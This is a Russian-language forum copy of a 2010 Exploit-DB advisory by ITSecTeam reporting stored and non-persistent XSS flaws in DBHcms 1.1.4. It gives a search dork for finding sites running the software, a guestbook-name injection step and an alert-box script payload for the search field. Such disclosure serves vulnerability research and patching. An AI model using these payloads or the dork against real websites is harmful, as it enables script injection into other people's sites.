- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 12499
- Проверка EDB
-
- Пройдено
- Автор
- ITSECTEAM
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- null
- Дата публикации
- 2010-05-04
Код:
############################################################################
#Title: DBHcms 1.1.4 Stored XSS #
#Vendor: http://www.drbenhur.com #
#Dork: "powered by DBHcms" #
############################################################################
#AUTHOR: ITSecTeam #
#Email: [email protected] #
#Website: http://www.itsecteam.com #
#Forum : http://forum.ITSecTeam.com #
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability50.htm
#Thanks: r3dm0v3 [r3dm0v3_at_ymail.com], Pejvak, am!rkh@n #
############################################################################
#DESCRIPTION (by vendor):###################################################
The DBHcms is a small free Open Source content management system for
personal and small business websites.`
#Stored XSS
POC:########################################################################
goto guestbook and post any script as name!
#Non-persistent XSS
POC:###################################################################
goto search and query this string: "><script>alert(1)</script>- Источник
- www.exploit-db.com
